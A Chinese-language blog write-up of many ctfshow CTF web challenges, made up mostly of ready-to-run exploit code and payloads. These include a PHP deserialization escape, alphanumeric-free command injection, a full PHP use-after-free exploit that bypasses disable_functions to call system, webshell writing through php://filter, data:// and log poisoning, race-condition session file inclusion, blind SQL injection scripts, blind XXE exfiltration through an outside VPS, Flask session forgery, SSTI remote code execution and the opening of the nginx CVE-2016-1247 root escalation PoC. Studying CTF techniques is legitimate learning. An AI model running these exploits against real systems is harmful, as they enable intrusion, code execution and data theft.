最近在ctfshow上看到了不少好题,来学一学,做一做
题目直接给出了源码:
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
发现需要password=yu22x
就可以得到flag了,但默认为1,看到有个str_replace将字符串增加了2个,反序列化逃逸
正常序列化:O:1:"a":2:{s:5:"uname";s:0:"";s:8:"password";s:1:"1";}
我们需要的序列化:O:1:"a":2:{s:5:"uname";s:0:"";s:8:"password";s:5:"yu22x";}
需要构造为:O:1:"a":2:{s:5:"uname";s:0:"";s:8:"password";s:5:"yu22x";}";s:8:"password";s:1:"1";}
看到我们传入了39个字符,但实际上有41个字符,两个字符逃逸出来了,那么当全部逃逸出来时,即可满足反序列化
$uname='Firebasky";s:8:"password";s:5:"yu22x";}';
$password=1;
即多出";s:8:"password";s:5:"yu22x";}
,30个字符串,那么构造15个Firebasky即可
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
提示:存在一个robots.txt
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
第一关 :
(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)
不会,看wp发现可以使用1e-162
,最后发现在-323到-162之间的都可以
第二关:
($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)))
md2碰撞,由于robots.txt给了提示,直接上脚本跑即可
这里是airrudder师傅的脚本
/* //直接爆破
for ($i=100000000; $i < 10000000000; $i++) {
$b=hash("md2", '0e'.$i);
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
*/
for ($i=0; $i < 999999; $i++) {
$b=hash("md2", '0e'.$i.'024452');
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i.'48399'));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
?>
得到b=0e652024452,c=0e603448399
第三关:
没有什么思路,看wp又学到了一招:php遇到不认识的协议就会当目录处理
考点:file_get_contents使用不存在的协议名导致目录穿越,实现SSRF
php源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。
ssrf绕过filter_var函数使用file_get_contents读取任意文件
payload:url=a://ctfshow.com/../../../../../../../fl0g.txt
提示:环境变量 +linux字符串截取 + 通配符
发现是like模糊查询,可以使用
%
匹配多个字符,_
匹配单个字符。
尝试后发现%
被过滤,不过下划线_
并没有被过滤。
这里就需要猜测password的位数了,最后爆出密码有32位。如果小于或大于32个_都会报wrong username or password。只有正确匹配才会显示I have filtered all the characters. Why can you come in? get out!
import requests
import string
strs = string.digits+string.ascii_letters
url = 'http://01a0d419-a06a-48de-b123-a27b8703807e.chall.ctf.show/login.php'
pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in strs:
password = pwd + j + (31-i)*'_'
data = {
'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
得到密码67815b0c009ee970fe4014abaa3Fa6A0
,登录进入,发现
Normal connection
表示正常连接
Abnormal connection
表示异常连接
evil input
表示被过滤了
感觉像是命令执行,但发现很多字符串都被过滤了,爆破一下康康有什么没有被过滤
发现:
小写字母全被过滤。大写字母、数字、
$
、:
、?
、{}
没被过滤
linux里有一个环境变量$PATH,可以用它来构造小写字母执行命令。
首先ls
,即0;${PATH:5:1}${PATH:2:1}
最后nl flag.php
,即0;${PATH:14:1}${PATH:5:1} ????.???
也可以构造cat flag.php
:${PATH:23:1}${PWD:2:1}${HOME:12:1} ????.???
最后师傅们出的题都很有意思,学到了很多,感谢师傅们
参考:
ctfshow-月饼杯WP
ctfshow月饼杯 web wp
看到一些有意思的题就做一做,主要是太菜了想提高自己(orz)
题目给出了源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
base64
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:?c=/???/????64 ????.???
即 /bin/base64 flag.php
最后解码即可
bzip2
我们可以通过该命令压缩 flag.php 然后进行下载
payload:?c=/???/???/????2 ????.???
也就是 /usr/bin/bzip2 flag.php
然后访问/flag.php.bz2
进行下载
p神,yyds
.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
大写字母位于@
与[
之间:利用[@-[]
来表示大写字母
那么构造一个POST请求
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POCtitle>
head>
<body>
<form action="http://a549c521-fb74-495d-995d-8521b7ea82e8.chall.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
form>
body>
html>
进行抓包,并传入post数据,payload:?c=.+/???/????????[@-[]
#!/bin/sh
cat flag.php
参考:
继无字母数字的命令执行(ctfshow web入门 55)新姿势
无字母数字的命令执行(ctfshow web入门 55)
无字母数字webshell之提高篇
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
ban掉了除小写p以外的所有数字字母,以及所有位运算符和$
、 _
、括号等符号
本题同理创建上传表单,包含临时文件执行代码,使用.
执行代码
发现反引号执行代码无回显,那么需要echo,
=
是echo()的别名用法,并且在php7的情况下无论short_open_tag是否开了都可以使用。
本题需要先?>
把前面的给闭合掉才可以:
?cmd=?>=`.+/???/p?p??????`;
由于存在p,那么直接可以用/???/p?p??????
表示这个临时文件
参考:以CTFSHOW红包题为例研究无字母数字RCE
同样给出了源码:
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
需要构造出字符串36,不会,看wp发现:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
给出了源代码:
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
绕过open_basedir:
//可绕72的目录限制,但无法读文件
c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){
echo $file . "
"; };include("flagx.txt");exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){
echo($f->__toString().' ');}exit(0);
c=?>
pwn("ls /;cat /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) {
# PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) {
$leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
# PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
# PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
# ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
# system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) {
};
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
c=?> $a=new DirectoryIterator("glob:///*");foreach($a as $f){
echo($f->__toString().' ');}exit(0);?>
c=$a=opendir("/"); while (($file = readdir($a)) !== false){
echo $file . "
"; };include("/flagx.txt");exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){
echo($f->__toString().' ');}exit(0);
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
}exit(0);
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
首先访问根目录下的东西:
$a=new DirectoryIterator("glob:///*");foreach($a as $f){
echo($f->__toString().' ');}exit(0);
通过FFI(7.4版本),执行代码
$ffi=FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
exit(0);
这里直接是web86,给出了源码:
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
参考:利用session.upload_progress进行文件包含和反序列化渗透
利用session.upload_progress将恶意语句写入session文件,从而包含session文件
问题一:
代码里没有session_start(),如何创建session文件呢?
解答一
其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
问题二:
但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,
如何进行rce呢?
解答二
此时我们可以利用竞争,在session文件内容清空前进行包含利用。
python脚本如下:
import io
import requests
import threading
sessID = 'flag'
url = 'http://5a3cd120-8d65-43c9-820b-0a0afbfe763e.chall.ctf.show/'
def write(session):
while True:
f = io.BytesIO(b'a'*256*1) #建议正常这个填充数据大一点
response = session.post(
url,
cookies={
'PHPSESSID': sessID},
data={
'PHP_SESSION_UPLOAD_PROGRESS': ''},
files={
'file': ('a.txt', f)}
)
def read():
while True:
response = session.get(url+'?file=/tmp/sess_{}'.format(sessID))
if 'flag' in response.text:
print(response.text)
break
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True #当daemon为True时,父线程在运行完毕后,子线程无论是否正在运行,都会伴随主线程一起退出。
write.start()
read()
参考:谈一谈php://filter的妙用
file_put_content和死亡·杂糅代码之缘
题目源码如下:
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "".$content);
}else{
highlight_file(__FILE__);
}
由于存在:urldecode($file)
,需要进行两次url编码,php://filter/write=string.rot13/resource=2.php
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
进行rot13编码为
,content传入即可
再读取即可编码为
也可以使用php://filter/write=convert.base64-decode/resource=3.php
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
因为通过base64过滤之后就只有phpdie
6个字符我们就要添加2个字符让前面的可以进行编码,即:
==>
PD9waHAgc3lzdGVtKCdscycpOz8+
content传入aaPD9waHAgc3lzdGVtKCdscycpOz8+
给出了源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match('/php/i', $file)){
die('error');
}else{
include($file);
}
}else{
highlight_file(__FILE__);
}
?>
非预期直接文件包含得到flag
按照正规的来写吧,使用伪协议data进行
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=
发现:allow_url_include=0 ,说明php.ini的allow_url_include = off
这里改为使用日志包含,发现日志存在/var/log/nginx/access.log中
将一句话木马写入日志文件,最后发现UA头的一句话木马不会被PHP代码检测
过滤了
and、=、'、||、"、 、order、by、like、union、,、char、ascii、sleep、limit、BENCHMARK、-- -
过滤了
=
,可以用regexp
代替,可以用case(x)when(y)then(1)else(2)end
代替if
,相当于if(x=y,1,2)
ascii
可以用ord
代替,hex
也行
substr('flag',1,1)
可以用substr('flag')from(1)for(1)
代替
wh1sper师傅的脚本:
import requests
host = 'http://6d40c5f4-b306-43c2-b70d-342ca79ad9fd.chall.ctf.show/index.php?id='
def mid(bot, top):
return (int)(0.5 * (top + bot))
def sqli():
name = ''
for j in range(1, 250):
top = 126
bot = 32
while 1:
#babyselect = 'database()'---web1
#babyselect = '(select group_concat(table_name) from information_schema.tables where table_schema regexp database())'---flag,page,user
#babyselect = '(select group_concat(column_name) from information_schema.columns where table_name regexp 0x666c6167)'---FLAG_COLUMN,flag
babyselect = '(select flag from flag)'
select = "0 or ord(substr({} from {} for 1))>{}".format(babyselect, j, mid(bot, top))
r = requests.get(url=host + select.replace(' ', '/**/'))
#print(host + select.replace(' ', '/**/'))
if 'Child' in r.text:
if top - 1 == bot:
name += chr(top)
print(name)
break
bot = mid(bot, top)
else:
if top - 1 == bot:
name += chr(bot)
print(name)
break
top = mid(bot, top)
if __name__ == '__main__':
sqli()
羽师傅的脚本:
import requests
url="http://6d40c5f4-b306-43c2-b70d-342ca79ad9fd.chall.ctf.show/index.php?id=1^"
flag=""
for i in range(1,50):
print("i="+str(i))
for j in range(38,126):
#u="case(ord(substr(database()from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #库名 web1
#u="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #表名 flag、page、user
#u="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #列名 FLAG_COLUMN、flag
u="case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #flag字段
u=url+u
r=requests.get(u,timeout=100)
t=r.text
if("I asked nothing" in t):
flag+=chr(j)
print(flag)
break
查看源码得到
那么先查看showImage.php得到源码:
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
?>
发现是des加密,尝试爆破’ctfshow’.rand()中rand()所产生的值,师傅的爆破脚本:
$len = rand();
print ($len."\n");
for($i=0;$i<$len;$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$image="Z6Ilu83MIDw=";
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
print($str." ");
print($i);
break;
}
}
?>
$i = 27347;
$key = substr(md5('ctfshow'.$i),3,8);
$c = "config.php";
print(openssl_encrypt($c,'bf-ecb', $key));
?>
得到N6bf8Bd8jm0SpmTZGl0isw==
使用wget把图片文件下载下来。然后查看即可
是xxe漏洞,直接上payload发现无回显,看wp发现为Blind XXE,参考文章:XXE漏洞利用技巧:从XML到远程代码执行
需要在vps上配置两个文件
test.xml:
%remote;%int;%send; ]>
<reset><login>beelogin><secret>Any bugs?secret>reset>
test.dtd:
">
%p2;
最终得到flag
参考:
anweilx :ctfshow——web_AK赛
wh1sper:ctfshow_webak赛
羽:CTFSHOW WEB_AK赛
之前做过一次,这次又忘了怎么写脚本,还是说一句羽师傅tql
import requests
import re
url1 = "http://80aa5350-d5f9-478b-91e7-71cd1b0fec5b.chall.ctf.show/register.php"
url2 = "http://80aa5350-d5f9-478b-91e7-71cd1b0fec5b.chall.ctf.show/login.php"
flag=''
for i in range(1,50):
payload="hex(hex(substr((select/**/flag/**/from/**/flag)from/**/"+str(i)+"/**/for/**/1))),/*"
print(payload)
s=requests.session()
data1={
'e':str(i+30)+"',username="+payload,
'u':"*/#",
'p':i+30
}
#print(data1['e'])
r1 = s.post(url1,data=data1)
data2={
'e':i+30,
'p':i+30
}
r2=s.post(url2,data=data2)
t =r2.text
real = re.findall("Hello (.*?),",t)[0]
flag+=real
print(flag)
提示:内存FLAG
这题是HCTF2018-admin的题目改的,当时只是学了一个Unicode欺骗,现在来学学flask session 伪造
flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
python脚本如下:
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='' ,
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='' ,
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
首先进行解密,得到{'username': '3213'}
再伪造admin进行加密得到cookie,替换即可为admin
变为了缺少请求参数
之前源码有个提示param:ctfshow
,那么尝试请求:?ctfshow={ {2*2}}
发现为4,ssti
直接上payload:
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{
% endif %}{
% endfor %}
提示说flag在内存,那么查看环境变量:Linux查看环境变量使用env命令显示所有的环境变量
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}{
% endif %}{
% endfor %}
参考:
CTFSHOW内部赛 Web2 -蓝瘦
为了降低难度,漏洞大约每两分钟触发一次
hint1: whoami && ls -l /
hint2:如你们所说,提权,看看服务器有什么服务
只有两个信息,一个title一个图片,猜测存在webshell,密码为cai,连接成功
发现根目录存在flag,但并没有权限,需要提权!
根据提示说漏洞每2分钟触发一次,猜测可能有定时任务,cat /etc/crontab
最后一个任务一分钟执行一次,搜索到漏洞为:
Nginx权限提升漏洞(CVE-2016-1247) 分析
Nginx 权限提升漏洞 (Debian、Ubuntu发行版)
nginx -v
查看当前版本为1.4.6,存在漏洞,直接上poc
上传文件.sh到目录下
#!/bin/bash
#
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
